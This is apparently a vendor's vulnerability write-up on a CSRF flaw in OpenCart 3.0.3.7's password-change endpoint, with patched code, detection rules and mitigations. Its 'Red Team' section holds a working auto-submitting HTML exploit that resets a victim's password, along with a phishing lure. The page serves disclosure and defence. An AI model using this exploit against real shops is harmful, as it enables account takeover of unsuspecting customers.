CVE-2021-47953
Executive Summary
CVE-2021-47953 is a Cross-Site Request Forgery (CSRF) vulnerability in OpenCart 3.0.3.7 that allows an attacker to change a victim's password without their consent. The vulnerability exists in the /account/password endpoint, which lacks CSRF token validation. An attacker can craft a malicious HTML form that, when submitted by an authenticated user, changes the user's password to a value chosen by the attacker. This leads to full account takeover. The CVSS score is 4.3 (Medium), but the impact is high due to the potential for complete account compromise. No official patch has been released by OpenCart, making manual mitigation essential.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
- Base Score: 4.3 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – victim must be tricked into clicking a link or submitting a form
- Scope: Unchanged (S:U)
- Confidentiality Impact: None (C:N)
- Integrity Impact: High (I:H) – attacker can change password
- Availability Impact: None (A:N)
Threat Level: Medium. While the CVSS score is moderate, the real-world impact is high because account takeover can lead to further compromise of the e-commerce platform, including access to customer data and financial transactions.
Deep Dive & Mechanics
The vulnerability resides in the account/password endpoint of OpenCart 3.0.3.7. When a user submits a password change request, the application does not validate a CSRF token. This allows an attacker to craft a malicious HTML page that automatically submits a form to the vulnerable endpoint with attacker-controlled values for the password and confirm parameters.
Attack Flow:
- Attacker creates a malicious HTML page containing a hidden form that targets
https://victimshop.com/index.php?route=account/password. - The form includes two hidden input fields:
passwordandconfirm, both set to a new password chosen by the attacker (e.g.,hacked123). - The attacker tricks an authenticated victim into visiting the malicious page (e.g., via phishing email or social media).
- The victim's browser automatically submits the form (or the victim is tricked into clicking a button), sending a POST request to the vulnerable endpoint.
- The server processes the request without CSRF validation, changing the victim's password to
hacked123. - The attacker can now log in with the new password and take over the account.
Root Cause: Missing CSRF token validation in the password change functionality. The application does not generate or verify a unique token for each session or request.
Vulnerable vs. Patched Code
Vulnerable Code (OpenCart 3.0.3.7):
// catalog/controller/account/password.php
public function index() {
// ... (no CSRF token check)
if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
$this->model_account_customer->editPassword($this->customer->getEmail(), $this->request->post['password']);
// ...
}
}
Patched Code (Manual Fix):
// catalog/controller/account/password.php
public function index() {
// Add CSRF token check
if ($this->request->server['REQUEST_METHOD'] == 'POST') {
if (!isset($this->request->post['csrf_token']) || $this->request->post['csrf_token'] !== $this->session->data['csrf_token']) {
// Invalid CSRF token
$this->error['warning'] = $this->language->get('error_csrf');
return;
}
}
// ... rest of the code
}
Additionally, the form in the view file must include the CSRF token:
// catalog/view/theme/default/template/account/password.twig
<input type="hidden" name="csrf_token" value="{{ csrf_token }}" />
And the controller must generate the token:
$this->session->data['csrf_token'] = bin2hex(random_bytes(32));
$data['csrf_token'] = $this->session->data['csrf_token'];
Exploitation & Lab Setup
Red Team (Attacker)
Lab Setup:
- Install OpenCart 3.0.3.7 on a local server (e.g., using XAMPP or Docker).
- Create a user account and log in.
- Create a malicious HTML file (
exploit.html) on an attacker-controlled server.
Exploit Code:
<!DOCTYPE html>
<html>
<body>
<h1>Click the button to win a prize!</h1>
<form action="http://victimshop.com/index.php?route=account/password" method="POST">
<input type="hidden" name="password" value="hacked123">
<input type="hidden" name="confirm" value="hacked123">
<input type="submit" value="Claim Prize">
</form>
<script>
// Auto-submit the form
document.forms[0].submit();
</script>
</body>
</html>
Execution:
- Host the exploit page on a server (e.g.,
http://attacker.com/exploit.html). - Send a phishing email to the victim with a link to the exploit page.
- Once the victim (authenticated to OpenCart) visits the page, the form auto-submits and changes their password.
- Log in to the victim's account using the new password (
hacked123).
Blue Team (Defender)
Detection:
- Monitor for POST requests to
/index.php?route=account/passwordwith unusual referrer headers (e.g., from external domains). - Look for rapid password change attempts from the same IP or user agent.
- Enable CSRF token validation (see patched code above).
Mitigation:
- Implement CSRF tokens for all state-changing requests.
- Use SameSite cookies (set to
LaxorStrict). - Add additional verification steps (e.g., require current password for password changes).
Indicators of Compromise (IOCs)
- Network:
- POST requests to
/index.php?route=account/passwordwithRefererheader pointing to an external domain. - Multiple password change requests from the same IP within a short time.
- POST requests to
- Logs:
- Successful password changes without prior authentication (e.g., no current password check).
- User account login from a new IP shortly after a password change.
- File:
- Presence of malicious HTML files on external servers targeting the OpenCart password endpoint.
Detection Engineering
YARA Rule
rule CVE_2021_47953_CSRF_OpenCart {
meta:
description = "Detects CSRF exploit attempts against OpenCart password change endpoint"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2021-47953"
strings:
$endpoint = "route=account/password"
$password_field = "name=\"password\""
$confirm_field = "name=\"confirm\""
condition:
all of them
}
Sigma Rule
title: OpenCart CSRF Password Change Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects POST requests to OpenCart password change endpoint with suspicious referrer
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-query: "route=account/password"
filter:
cs-referer: "https://victimshop.com/*"
condition: selection and not filter
falsepositives:
- Legitimate password changes from same site
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2021-47953 OpenCart CSRF Password Change"; flow:to_server; http.method; content:"POST"; http.uri; content:"route=account/password"; http.referer; content:!"victimshop.com"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Implement CSRF Tokens: Add CSRF token generation and validation to the password change form and controller (see patched code above).
- Use SameSite Cookies: Set session cookies with
SameSite=LaxorStrictto prevent cross-site requests. - Require Current Password: Modify the password change form to require the current password as an additional verification step.
Long-Term Fix:
- Upgrade to a patched version of OpenCart if available (check official repository for updates).
- Conduct a security audit of all state-changing endpoints to ensure CSRF protection is in place.
Workaround:
- Use a Web Application Firewall (WAF) to block requests to
/index.php?route=account/passwordwith external referrers.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert